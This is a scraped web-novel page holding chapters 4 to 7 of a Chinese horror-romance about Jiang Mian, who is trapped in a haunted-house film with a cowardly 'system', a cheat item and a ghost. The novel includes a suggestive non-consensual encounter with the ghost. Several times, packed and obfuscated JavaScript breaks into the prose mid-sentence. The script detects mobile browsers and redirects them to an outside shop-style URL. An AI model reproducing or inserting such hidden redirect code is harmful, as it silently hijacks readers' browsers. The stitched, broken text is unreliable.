;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜眠“嗯”了一声，没接这话。 她有点心不在焉的，正在心里跟系统聊天。 4. 《凶宅之爱》 【系统，你确定这是恐怖片对吧？】 【宿主……这不是您看过的恐怖片吗？】 姜眠抿了抿唇。 她确实看过这部恐怖片，但只看了一个开头，不到十分钟……但确实，无论她多不想、不敢承认，到了现在，她也不得不承认了，她真的穿越到恐怖片里了。 【可是我根本没有看完这部恐怖片……别说鬼和剧情杀了，我连，呃，我连男主都不知道是谁……】 这怎么办？姜眠皱着脸，感觉柳缙不用改剧本了，她现在已经是炮灰剧本了。 系统那边“咔咔咔”地响了好几下，像是卡壳了，可能它也没有想到，姜眠根本可以说没看过这部恐怖片吧。好半天，它才期期艾艾地问姜眠：【那宿主您看过几部恐怖片？】 姜眠哭丧着脸：【很多。但总时长加起来的话，一部也没有。】 系统沉默了好一会儿，弱弱地说：【那怎么办呀宿主，不知道剧情的话，那我们……】 姜眠说：【我们死定了。我，还有你。】 它是和姜眠绑定的关系，这在最早它找上姜眠的时候，就已经明明白白地告诉她了。 作为“恐怖片之神”的惩罚，姜眠必须要在自己看过的那些恐怖片里活下去，如果她在这些恐怖片里死了，她在现实世界也会真的死去—— 跟她绑定在一起的系统，自然不能幸免，也会被一齐销毁。 系统在她的脑海里化身名画《呐喊》，啊啊啊啊啊啊地在她脑海中乱窜。 姜眠也怕得想尖叫，在脑海中跟系统叫成了一团。 终于，在双人合唱的尖叫中，系统忽然灵机一动，说：【宿主，你知道我们这种恐怖电影里会有金手指的对吧！】 姜眠：【……】什么，她不知道啊。 但系统俨然像是抓住了一个什么救命稻草般，哇哇哇地在脑海中叫道：【我把这个抽奖系统发给您！您只要点击一下就可以抽取金手指了。】 一个闪着金光的礼盒样的东西出现在姜眠的眼前，她半信半疑：【有这种好东西怎么之前不说？】 系统哽咽了一下：【那个……就是……我绑定您时候，以为您是恐怖片的大佬。】 【……如果光论数量来说，那确实是。】姜眠也无言以对，有些心虚。 系统问：【为什么您看了那么多恐怖片，但是却不看完啊？】 姜眠心虚地说：【嗯……我看恐怖片是为了练胆子来着，但是结果嘛……】 结果也是显而易见的，就是没有用。 姜眠指着金光闪闪的礼物盒问系统：【金手指是什么？】 【是随机的。】系统有些迟疑地说，【一般是一些加强体力、感知力的道具，运气差的话，可能会开出刀枪之类的——但这些东西在大部分的恐怖片里没有用。运气好一点的话，可能会开出抵御鬼魂的符咒法器，这些是最有用的了。我见过最好的一个道具是相机，能拍出自己身边，肉眼看不见的鬼。】 姜眠“哇”了一声。 相机应该很有用，不过……姜眠不太确定自己敢不敢拍，如果拍完之后发现自己身边其实有什么东西……那不是更恐怖了吗？！ 好吧，这样想的话，还不如当一只把头埋在沙子里的鸵鸟…… 【总之，大概率会抽出有用的东西的！】系统补充说。 但姜眠敏锐地听出了它语气里的心虚：【大概率？】 【呃…其实……】系统支支吾吾地说，【也不全是、完全又用的东西。比如说……】 【比如说？】 【呃，比如说，出现过一些负面效果的道具。】系统的语气已经神游天外了，【比如说、可能会、抽到诸如“吸引鬼的注意力”“抽到一只鬼随时跟随”……这样的效果。】 【……】 【不过！不过不过，那都是很少见的情况！只要运气好一点，不会抽出这种东西的！】 系统用慷慨激昂的语气一口气说完了这一长段话，一回头，发现姜眠没声了。 【宿主？宿主？】 如果她们现在身处漫画的世界里，姜眠现在的状态大概是两眼冒星星，头顶还飘出来一个透明的魂。 好半晌，她才找回自己的声音：【……可是我运气很差。】 而且，姜眠是真的真的很怕鬼。如果不怕，也不可能看恐怖片练胆吧？更不可能打开一部恐怖片看几分钟，就退出了吧？！ 【所以之前不跟您说就是这个原因……】系统弱弱地说，【如果您对恐怖片很熟悉的话，为了保险，可以不抽取这个金手指礼物的。】 姜眠要抓脑袋了：【可是我不熟悉……啊啊啊啊都怪我之前为什么不坚持看完！】 但现在，说这些也没有用了。 伸头也是一刀，缩头也是一刀。姜眠怀着壮士断腕般的心情，闭着眼，点开了那个闪闪发光的盒子。 脑海中响起了【叮咚】一声，姜眠还没睁眼，就听到系统惊喜的声音：【宿主，您运气真好！总之，不是那种莫名其妙的负面效果道具！】 姜眠这才期期艾艾地松了一口气。 她睁开眼，看到一个像是缩小版的场记板的挂件出现她的手心里。 【恐怖片导演：你能准确分辨出谁是恐怖片的主角， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712149|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁是最强的。】 姜眠愣了愣，心里一喜。这道具对于看过恐怖片的人来说可能有些鸡肋，远比不上其他有真实增益的道具有用，但对于完全不了解恐怖片的她来说，反而是最好的道具了。 看来她今天的运气还不错。 姜眠松了口气，摆弄着小小的场记板，尝试着对准坐在她身边的柳缙打板。 柳缙对她的动作视若无睹，片刻后，场记板上缓缓浮现出几行字。 片名：《凶宅》 场号：005 导演：姜眠 男主角：沈成济 拍摄内容：男主角带领探险小队来到废弃的鬼屋里…… 拍摄内容后面的字像是被水晕开了似地，看不清晰，姜眠用手摸了摸，没摸到水，但也没有让字变得更清晰，依然很模糊。 这个部分大概是要等剧情推进之后才会出现吧？ 至于其他的……这个男主角，指的就是这部恐怖片里最强、能活到最后的人吧？ 所以她要抱的大腿，就是沈成济……是吗？ 姜眠转头看向了书房，书房里，沈成济正弯着腰勤勤恳恳地给她打扫房间，忽视他那张过分英俊的面庞和时不时因为动作露出的手腿部肌肉，看起来真像一个老老实实的贤夫良父。 姜眠捧着脸看他，心说沈成济很真有点男主角的意思。 长得好看，身强体壮，脑子转得快，又是团队领袖，最重要的是——喜欢作死。 要是不作死，怎么会在恐怖片里当灵异博主？ 姜眠对着他忙碌的背影叹了口气。 屋里，沈成济似乎感受到了她的视线，骤然抬起头来—— 跟姜眠对上了视线。 姜眠看着他，在心里琢磨了一下。 沈成济又不喜欢她，她该怎么抱沈成济的大腿呢？ 盯着沈成济的脸，她的脑袋突然灵光了一下——对哦。她的这个身份设定，不是暗恋沈成济吗？都说伸手不打笑脸人，她都暗恋沈成济了，沈成济总不能真的把一个对自己芳心暗许的女孩子弃之不顾吧？ 发丝随着她转头的动作落在脸颊边，痒痒的。 她用食指卷住垂下的发丝，对上沈成济的视线，冲他眨了眨眼。 无声地做着夸张的口型： 喜、欢、你。 肉眼可见地，沈成济愣了愣，打扫的动作也呆在原地。忽然，他猛地转头，动作之大，甚至碰倒了放在旁边的水桶，埋头用力地拖地——拖得更用力了。 姜眠瘪瘪嘴，有点生气地又坐回了沙发里。 什么嘛，就这么讨厌她吗。 5. 《凶宅之爱》 沈成济干活又快又好，很快就把书房扫了地拖了地、还铺了床擦了家具，收拾得像模像样的，如果不是家具和墙壁过于老旧，简直能当拎包入住的样板房。 总之，姜眠很满意。 她眼光不错，暗恋这种贤夫良父，她也不亏嘛。 等到客厅和客卧收拾完毕，姜眠看了一眼手机。 已经是晚上的八点半了，这个房子本来就采光不好，现在外面天黑下来了，更暗得像是深夜。 姜眠用瓶装水简单地洗漱了一下，为了防止晚上会出现什么突发事件，她也没换衣服，就合衣坐在床边，准备再收拾一下自己的行李。 在原来的，她看过的那部恐怖片里，团队里只有三个人，并没有“姜眠”这个人，据系统说，这个身份是系统为她生成的，她的衣服和随身物品也都是按照剧本随机生成，所以系统也不知道行李箱里会有什么东西。 开行李箱可比开“金手指”盲盒要轻松多了。怀着一点开盲盒的兴奋，姜眠把行李箱拖到书房里，打开了它。 之前在帐篷里的时候忙着换衣服，没仔细看，现在打开行李箱，姜眠发现自己带了一些换洗的衣服，不过…… 全是和剧本契合的那种“超超超级暴露”的小短裙，附带黑色丝袜、小高跟和一大堆化妆品。 姜眠：“……”唉。 她才发现，自己身上穿着的这件白裙，已经是睡衣了。 都知道自己是来鬼宅探险的，为什么不带点法器、符咒之类的呢？别说管不管用，至少比没有好吧？ 姜眠把行李箱摊开放在地上，一顿乱翻。把那些奇奇怪怪地衣服丢到一边，然后再把她带的食物、水、书本和扑克牌整理好，比较有用的除了食水之外，就只有一部充满了电的平板。 她叹了口气，为了节省电量，先把平板关机，丢到床上，忽然视线余光里看到行李箱夹层里有一抹明黄色，如获至宝地翻开—— 一枚符咒夹在其中，虽然看不懂上面画得是什么、又有什么用，但还是那句话，总比没有好，权当护身符塞进兜里。 收拾完行李箱，姜眠把乱塞的衣服重新塞进行李箱里，准备把行李箱塞进床下，忽然又感觉有什么不对劲—— 行李箱好空。 之前在帐篷里的时候，是这么空的吗？ 等等，不对……好像有什么东西不见了。 姜眠把所有的东西再次清点了一遍过后，发现了一件离奇的事情。 ……她的衣服不见了。 就是今天中午穿的那件，很暴露的黑色短裙……救命。谁会把这种东西拿走？ 但姜眠不可置信地翻遍了行李箱、房间和自己的包，也没有看到那件衣服的影子。 所以是真的被拿走了。 一整天过去了，她见过的人并不多，房东、房东儿子，还有沈成济、柳缙和谷弘，一共五个人。 嫌疑最大的当然是沈成济，他看她不顺眼，又单独打扫她的房间，无论是作案动静还是作案时间，他都有。 姜眠噔噔噔跑出去，只见另外三人正坐在客厅，沈成济抱着电脑正在剪辑今天拍下的视频，柳缙和谷弘在旁边监工。 见她出来，三人不约而同地将目光转向了她。 姜眠也没废话，开门见山说：“我东西丢了。” “什么东西？”沈成济问。他面露疑惑，表情坦然，半点儿不像是偷东西被戳穿的样子。 “……我的衣服。” 沈成济愣了一下，不知道是没有反应过来还是没有听清楚：“什么？” “我的衣服！”姜眠提高了声音，紧抿着唇，“有人偷了我的裙子！” 她怀疑的目光扫过客厅里的三人，三个人都露出了惊愕的表情——就连一向没什么表情的谷弘都瞪圆了双眼，用怀疑的表情互相扫视。 光看表情的话，真的看不出来是谁。 姜眠怀疑的目光依次扫过三人，然后落在了沈成济的身上。 “沈成济，是不是你偷了我的衣服？只有你打扫过我的房间。” 随着她怀疑的目光，其他两人的视线也缓缓地落在了沈成济的身上。 那眼神里，明晃晃地写着三个大字：变态啊！ 沈成济：？ 他一个头两个大，恨不得立刻指天起誓若有半句虚言天打雷劈：“不是我！怎么可能是我？我怎么会……”急得舌头都要打结了。 叽里呱啦一阵反问，他终于把舌头撸顺了，他看向谷弘：“等等，你的行李箱是谷弘收拾的！是他放到房间里的。” 在进入这栋凶宅之前，他们在凶宅外面搭了个帐篷来放东西，要收拾宅子之前，是柳缙和谷弘帮忙把他们的东西搬进屋子的——而姜眠的行李箱，就是谷弘搬进来的。 谷弘歪着头看他们，冷淡的脸上写满了事不关己四个大字，惜字如金地吐出三个字：“不是我。” 顿了顿，又补充：“我为什么要偷你的衣服？” 视线又回到了沈成济的身上。 沈成济连连叫冤：“我也一样啊，我又为什么要偷你的衣服？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712150|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜眠“哼”了一声：“当然是因为你看不惯我，不喜欢我。” “我？”沈成济指着自己，不可置信，脸色像是打翻了的调色盘般精彩纷呈，“我不喜欢你？？？” “对啊，难不成你喜欢我？” 一时间，几双锐利的视线像是要把沈成济烧穿。 沈成济的脸色青了又紫，紫了又白，他破罐子破摔地道：“反正不是我！” “那是谁？” “反正不是辛辛苦苦给你打扫房间的我。”沈成济再次强调。或许是之前姜眠那句关于“喜欢”的问话把他问住了，他的脸色有点难看，冷声说：“还能是谁，说不定是鬼呢。” 姜眠的脸色一下就变了。 她知道沈成济说得可能是真的，这里可是恐怖片，是真的有鬼的。 他们现在都还没有见过那个鬼。可是……它、或是它们，会不会已经盯上她了？ 见姜眠脸色实在难看，柳缙打圆场说：“也可能是房东儿子？……我们的行李一直放在外面，之前拍摄的时候，他也一直在外面等。再说了，这里只是荒无人烟，也不是没有人会来，我们的行李放在外面也没人看着，说不定就是哪个变态拿走了。” 姜眠的脸色还是惨白的。 “照这么说……那我今晚岂不是很危险？”她抖着声音说。 这鬼宅虽然看着像模像样，但许久没有住人，许多地方年久失修，别的不说，就论姜眠住的书房，窗户就是坏的。 即使抛开鬼怪这种无稽之谈，单论现实，如果有人偷走了她的衣服，那么那个变态也很可能盯上了她。 真实的危险近在眼前，三人都认真了起来。 姜眠想了想，伸出手一指沈成济：“你……晚上能不能陪我睡觉。” 是的，这就是姜眠的解决办法。 她这个设定本来就暗恋沈成济，姜眠对方跟自己睡在一起，也是很正常、一点也不会崩人设的吧？ 而且她的金手指说沈成济是最强的，她本来就要抱他的大腿，跟他睡一起简直最安全不过了。 这个理由太妙了，她简直是天才！ 她洋洋得意着，全然不知道在其他人眼里的自己是什么样的。 ——声音又软又娇，带着一点害怕的颤抖，却如此地理直气壮。 仿佛指着的不是一个刚刚被她污蔑的男人，而是自己养的一只乖乖听话、主人一喊就自觉叼起绳子的狗。 沈成济有点想笑——被气笑的。 “不行。”他冷着脸说。 6. 《凶宅之爱》 “为什么不行？” “因为我是偷衣服的变态。”沈成济面不改色地道，“你不怕我监守自盗？” 姜眠认认真真地说：“所以你要将功抵过啊。” “我都说了不是我……” 姜眠又说：“这是剧本里写的。我不是暗恋你吗？所以，晚上我们一起睡，很正常吧？” 沈成济这回是真的被气笑了：“谁家的暗恋一起睡很正常？你倒是给我举个例子——” 他话还没说完，柳缙打断了他：“等等，这不是我写的剧情吧！” 柳缙脸上的表情有点奇怪。像是莫名其妙，又像是咬牙切齿：“我才不会写这种剧情呢，恶俗！” 姜眠也莫名其妙地看着他，像在看一个无理取闹的孩子：“那你现在可以加上，我觉得这剧情挺好的。” 柳缙噎住，继而愤愤地道：“如果让我来写，我就写你被鬼吓到，然后悄悄钻进我的被窝里。” 喂，到底是谁比较恶俗啊！ 跟这种只会装逼的文艺男说不通，还是呵呵他一脸好了：“恶俗！要我来写，我就写你吃醋，爬进我的床，这样不是更吸引人眼球吗？” “等等，这也太奇怪了吧！我就是去死也不会爬床！” “奇怪吗？”姜眠洋洋得意地抓起放在沙发上的剧本，拿在手里冲他晃了晃，“反正，你也暗恋我。” “……”莫名地。柳缙像哑巴了一样，脸腾地一下红了。“谁暗恋你了！” “这么大反应干嘛？”姜眠莫名其妙地看着他，“你自己写的剧本啊。” “……”柳缙彻底没话说了，愤愤地转头不理她。“总之，你不能跟他睡在一起！像什么样子！” 莫名其妙的。姜眠打量着红着脸的柳缙，看他穿着一身潮牌、留着及肩的小辫，整个人显得英俊潇洒，站路边都会被人搭讪的模样，看起来完全不像是那种传统又老套，在危机时刻还要强调男女大防的人。 站在一旁的谷弘没说什么，他操纵电脑，默默地把今天拍完的预告片发了出去，又默默地打开了摄像机，检查起内存和镜头。 柳缙立刻问：“这也要拍？剧本可没写这个！” 谷弘：“……” 谷弘叹了口气，表情依然冷静，像是完全没有受到他们的影响：“你忘了？今天的素材还没拍完。” …… 姜眠还以为收拾完房间就能去睡觉了呢，她这才知道，原来今天晚上还有拍摄任务。 不过，想也很合理啊。大半夜不去作死，简直对不起他们这个灵异探险博主的职业，更对不起这部电影上明晃晃写着的“恐怖”两个字的分类。 姜眠记得，她穿越进来前，只是在家里的被窝里打开了这部朋友推荐、力荐的电影，但看了几分钟就被那阴森森的氛围吓退了，她刚准备打开灯出门接杯水冷静一下，就眼前一黑，遇到了系统。 对于这部电影，她知道的不多，所以对于之后会发生什么剧情也无法预料到。 但有一个是可以确定的——她刷到了一些影评，除了清一色的“好评”“简直太恐怖了”之外，也刷到了很多人吐槽主角实在是太作死了。 她见其他人都把东西收拾起来了，谷弘扛着相机，柳缙拿着剧本和小补光灯，沈成济往自己衣领上别了一个小摄像头。 姜眠实在是有点犹豫了。 如果可以的话……她一点也不想跟这群人深夜在鬼宅里作死。 但落单的话，这里可是恐怖片。说不定会更惨。 而且他们三个都有自己的工作要做，也不可能因为她的话，就留下来陪她。 见姜眠还在原地，表情踌躇，沈成济走过来。 “嗯？” 不是刚刚还一副要被她气死的模样吗？ 眼前投下一片阴影，姜眠抬头，刚要感慨沈成济长得还挺高，忽然他低下头来，给她的胸前别上了一个摄像头。 姜眠：“啊……我也要拍吗？” “剧本需要。”沈成济看了她一眼，表情还维持在一个冷淡的、不苟言笑的框架里，语气却已经软了许多，“这个鬼宅噱头已经足够，后面没有剧本，能拍什么就拍什么。放轻松，没什么好害怕的。” “但是。”他话锋一转。 “但是？” 沈成济的眼睫垂下，侧面的灯光打下柔软的阴影，一时间显得很温柔。 “我们的人设剧本还是要演的。在剧本里，你不是暗恋我么？反正……你好好演。别离我太近，要是害怕，可以抱我的手臂。” “哦。”姜眠说。她眨眨眼睛，心里想，这不是应该的吗？这件事白天他就答应了，有必要在强调一遍吗。她又不傻呀。 沈成济看了她一眼，瞳孔里，倒映出两个小小的她。 穿着白色棉裙的女孩，低着头站在光下，身后的补光灯让她浑身上下都显得毛茸茸的，支出去的发丝闪着金光，就连侧脸上最细小的绒毛也清晰可见。 “……可以。”他飞快地说。 “什么？”姜眠疑惑地抬起头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712151|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我说，一起睡……可以。” …… 直到他们抬着各种设备爬上二楼，姜眠都还在琢磨他这句话的意思。 什么意思？他们一起睡还要沈成济说“可以”？ 她以为自己那句话不是询问，而是通知来着。但是等等……难道沈成济不这样觉得？ 这种疑惑一直持续到他们在二楼的主卧门口站好。 姜眠有点顾不上疑惑了——这里真的很恐怖啊！！！ 想象一下，深夜，四下寂静无人，你站在一栋破旧的、荒废的古宅里，四周安静得可怕，像是彻底进入了另一个异世界。 周围黑漆漆的一片，连补光灯都关掉了，只有你随身携带的摄像灯和手机电筒，照亮了面前的一小片区域。 而前方，肉眼可以看见的部分，墙壁斑斑驳驳。 之前的租客大概重新糊了一层墙纸，但多年过去，墙纸有大半脱落，墙纸里，雪白的墙壁已经变成了另一种奇怪的颜色，那是大量的血氧化之后的深褐色，虽然早已干涸，却顽固地留在墙面上，让整个房间都像是变成了怪物漆黑的巢穴。 “这里就是主卧。”沈成济说。他打开了相机，对着相机镜头笑了笑。 开朗英俊的男大学生，笑起来的时候，一副轻轻松松、游刃有余的样子，一瞬间，这个鬼宅好像也不那么可怕了。 简单地开场白和介绍词过后，沈成济对着镜头介绍他们即将要进的房间。 “想必大家都知道，这栋鬼宅的闹鬼传闻，是从原主人一家三口的灭门惨案后才开始传出的。而这里，就是原主人家的主卧，住的是原主人夫妻二人。 案卷里提到，这对夫妻十分恩爱，生活优渥、待人也很和善，别说仇家，都没有跟人红过脸。 所以，在案件发生后，所有人都大受震撼，谁也不知道，这么标准的“三好家庭”到底是怎么被凶手盯上的。 可能很多人听说过这个案件，知道凶案地点在浴室。” 说到这里，他轻松地笑了笑，对着镜头露出一个神秘的笑容。 “但其实，很少有人知道，浴室并不是第一案发现场。第一案发现场，是……” 镜头跟随着他的指尖——指向了面前黑洞洞的房间。 “是主卧。” 【啊啊啊啊啊啊啊！！！！】脑海中突然响起了尖叫声，在寂静的夜里像一道平地惊雷。 姜眠差点魂都吓飞了，她脚软了一瞬，踉跄一下—— 就这么毫无防备地摔进了房间里。 7. 《凶宅之爱》 漆黑、寂静、伸手不见五指。 姜眠坐在地上，伸出手试探性地往前摸索了一下，指尖却只有冰冷的触感。 眼前像是蒙上了一层黑布，耳边静到只剩下自己狂乱的心跳声。 【……】 【……系、系统？】姜眠颤巍巍地在脑海中询问，【刚刚是你在叫吗？】 过了好半天，系统的声音才在她的脑海中响起：【宿主！】 还带着哭腔。 姜眠松了口气。刚刚的尖叫，真的是系统……吓死她了，她还以为是什么不干净的东西…… 【对不起宿主。】系统在她脑海中呜呜呜地哭，【我太害怕了。】 【唉，没事的没事的。】姜眠安慰系统，【我理解你。】 她真的理解……因为她也是这么怕鬼，这么怂的人…… 只是为什么，她的系统也这么怂……难道这就是同类相吸吗？ 【没事的。】她一边安慰系统，一边摸索着站起来，转身去开门。【只要开门出去就……】 她的声音戛然而止。 按理来说，她只是不小心跌进来了，只要一转身，应该就能碰到门了才对。 再不济，只要走两步—— 姜眠往前走了两步，伸出手。 面前依然什么都没有。 心脏在胸腔疯狂跳动，声音在寂静的夜里不断回响在耳边，声音大得姜眠甚至怀疑它会惊动什么黑暗中的生物。 她努力摸索着自己身上随身携带的手机，却发现自己的衣服口袋里什么都没有。 不对……她明明记得就放在口袋里的！ 就算没有手机，她衣领上别着的摄像机应该也还有一盏小灯才对。 姜眠循着记忆，一边摸着黑往前面走，一边摸索着微型摄像机上的按钮，试图打开补光灯。 “这个怎么、怎么按不开啊……” 姜眠抖着手，按了几下，按钮发出了咔咔的声音，却怎么也按不开，忽然，她停了下来。 ——身后，传来了浓重的血腥味。 她几乎要尖叫了，但下一秒，她猛地感觉到自己的后背撞上了又坚硬又冰冷的东西，像是一堵墙，推着她往前—— “啊！” 她撞到了门上。 门把手硌着她的肚子，但她却没有心思去顾及那些微的疼痛，身后有什么东西强势而不由分说地压过来，让她像是案板上的鱼肉，任人宰割。 冰冷的吐息喷在她的后颈，让她几乎不可抑制地抖成了筛糠。 那是……什么东西……鬼…吗？可是，鬼为什么会有呼吸…… “呼。”身后的东西轻轻地往她耳朵里吹了一口气。 那气息完全是…充满恶意地、轻浮地、下流地……几乎能感觉到，身后的东西，正满怀期待地等着她的尖叫或是哭泣。 姜眠咬着唇，侧着脸，脸颊紧贴着冰冷的门，柔软的两颊肉被压在一块儿，滑腻洁白如同一摊软烂的羊脂白玉。 她急促地喘.息着，热气扑在门板上，浑身颤抖。 身后那个东西等了等，似乎没等到她的哭声，有些不耐烦的压住她的肩膀。 姜眠感觉到，一只腿从身后强硬地挤入她的两腿之间，紧接着腰上一凉，整个人被提了起来，坐在膝盖上。 她能清晰地感觉到身后那个东西的温度，是冰冷而潮湿的，带着浓重的血腥味，像是从水里爬出来的、湿漉漉的水鬼。 却又几近缠绵地抵着她的腰。 姜眠抖得几乎坐不住膝盖，她只能双手抵着门板，颤巍巍地努力保持着平衡，慌张地躲避着身后冰冷的身体，随着这样的动作不断挺直腰背，柔韧的腰线被拉长，又被一只手握住。 似乎是她的动作让身后的东西很愉悦似的，身后传来了一声轻笑。 ——是一个男人的声音。 姜眠感觉到自己掌心下的门板在剧烈颤抖，似乎是沈成济他们在外面砸门。 但门板越是颤动，她就越是坐不稳，紧贴着门板的脸颊也有些…… “痛……” 不仅是脸颊痛，她掌心也痛，手臂也痛，肚子也痛。 “你别…弄我了……” 真的很痛。细皮嫩肉的女孩儿哪里吃过这种苦，她抿着唇，下意识有点想发火，又因为害怕，可怜兮兮地红了眼眶。 好半天，才又嚣张又可怜地憋出一句： “你、你下去…！你弄得我好痛……” 身后冰冷的身体似乎动了动，下一秒—— “喀拉”一声响，面前的大门被打开了，姜眠再一次摔倒。 这次被人接住了。 明亮的灯光不断地在她眼前晃来晃去，她难受地眯起眼。 “姜眠！姜眠？” “你没事吧？” 在乱糟糟的声音和乱糟糟的光线里，姜眠艰难地睁开眼，看到三张如出一辙的担心的脸。 她正躺在沈成济的怀里，对方一手托着她的腰，另一只手扶着她的手，见她清醒，问：“发生什么了？怎么这么不小心。” 看他轻松又略显担忧的表情，姜眠一下子猜到，他们并不知道里面发生了什么。 她压抑着后知后觉的恐惧问，深深地呼吸，开口时还是带上了一些鼻音：“刚刚门为什么一直不开？” “门有点卡…”沈成济看清了她泛红的眼眶和鼻尖，也顿了顿，轻松的表情消失了。他快速地解释说，“这门很久了，可能有点年久失修，卡住了，我们花了点一时间才打开的。怎么了？吓到了吗？” “……”姜眠抽了抽鼻子，“门里有人。” 说完，她见三人一副还没理解她什么意思的表情，强调道：“门里有人！” 三人面面相觑。 姜眠说：“刚刚我摔进门里，本来往回走几步就能摸到门的，对吧？但根本没有门！而且我的手机也不见了，我的摄像头上的灯也坏了……” 她说着，往口袋一摸—— 重量颇沉的手机从她的衣服口袋里掉出来。 姜眠也有点傻眼了：“刚刚在里面没有的！而且，摄像头上的灯也……” 她按了一下微型摄像头上自带的灯——灯开了。 姜眠目瞪口呆。 她有些慌乱地解释，“不是，刚刚明明还……”她抬起头，忽然对上了沈成济的视线。 沈成济眼神亮晶晶的，脸上竟然是一副很感兴趣的模样。不像是恐怖片里常规套路的不相信的样子。 但就是这样，才让姜眠心里咯噔了一下。 沈成济也注意到她震惊的表情，瞪大的眼睛，轻咳一声，收敛了些。 他拍了拍她：“先别急，我们相信你。但是……你加入我们很早吧？你知道我们一直都没遇到什么鬼啊怪啊之类的东西，我还以为那东西不存在呢。所以，你遇到了什么？” “……”姜眠往四周看了看，又沉默了许久，才低声说，“是……鬼。”她把最后一个字念得又轻又快，仿佛大声一点就会惊动屋子里的那个东西。 说出这个字之后，三人的表情都变得凝重了起来。 柳缙故作轻松地笑了笑说：“不会是你太害怕，看错了吧？” “没有！真的有东西！”姜眠说，“而且是那个……男鬼。他在我身后笑…听声音，似乎还挺年轻的。” 沈成济跟柳缙对视了一眼。 姜眠还以为他们不信，急道：“你们别不信，我说的都是真的！” 她发红的鼻尖浸出汗珠，鸦羽般的眼睫上挂着湿意，漂亮的小脸微微发白。 像是想起了什么，她提起裙摆，露出肚子上的痕迹。 “我刚刚还被门把手撞到了！” 有一点儿凸起的小肚子，雪白的，柔软而又丰腴的肚子上果真压着一道暧昧的红痕，晕开一大片，仿佛撒在滑嫩油脂上的一滴血。 “看吧，就在这里！”她低着头，下巴夹着一截裙摆，两只手也拎着长长的裙摆，却丝毫没有注意到自己露出的一小截白色布料。 也没有注意他们发飘的眼神和故意移开的视线。 只是一抬头，发现其他人都没看自己，忍不住生气道： “喂，我没有骗你们吧？还有摄像头，摄像头也开着呢！” 虽然她也不确定摄像头有没有录到什么。但如果真的有什么，那就是证据了！ 谷弘取下别在她衣领上的微型摄像头，取出内存卡。 他看了她一眼，似乎在判断她说的话是真是假，喉结滚了滚，但最终也没有说什么，默默地把内存卡插进了他肩扛的摄像机里。 这个摄像机有屏幕和内存读取功能，插入内存卡，打开屏幕，四个人的脑袋凑在了一起。 不知道是不是设备的原因，画面有些灰蒙蒙的，还时不时闪过白点雪花，谷弘把内存卡里录下的视频打开，画面是从他们来到这扇门外开始的。 一开始，一切都很正常，摄像机没有拍到姜眠想象中的诡异的画面，也没有什么鬼哭狼嚎的奇怪声音，直到—— 画面猛地扑进了一处黑暗中。这是姜眠摔进门里的时候拍下的。 一开始，画面是一片黑暗，仔细听去，只有急促地，小小的呼吸声。 紧接着，画面有些抖，但仍旧是什么都看不清楚，似乎摄像机的主人正在黑暗中摸索着前进。 然后……黑暗中出现了哭声和喘息。 像是被欺负得狠了，连声音里都透着可怜，涩情得仿佛什么低级片里哭声……但什么也看不见。 “啪！”地一声，沈成济猛地把视频关了。 “现在信了吧？”姜眠紧紧盯着他问。 “……”沈成济用手捂住了脸，之前惊鸿一瞥的一幕，雪白肌肤上的红痕，飞速地掠过他的脑海，让他整张脸都变得火辣辣。“信、信了。”他讷讷地说。 “既然信了，那就走啊。”姜眠一把把摄像机的屏幕摁熄，站起身来，却发现自己的手腕被人握住了。 一回头，是沈成济。 她心里起了一点不好的预感：“怎么了？” 沈成济说：“等等，你不觉得……” “不觉得什么？”姜眠只感觉有些不妙——沈成济眼睛亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712152|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晶晶的，一脸兴奋的模样。 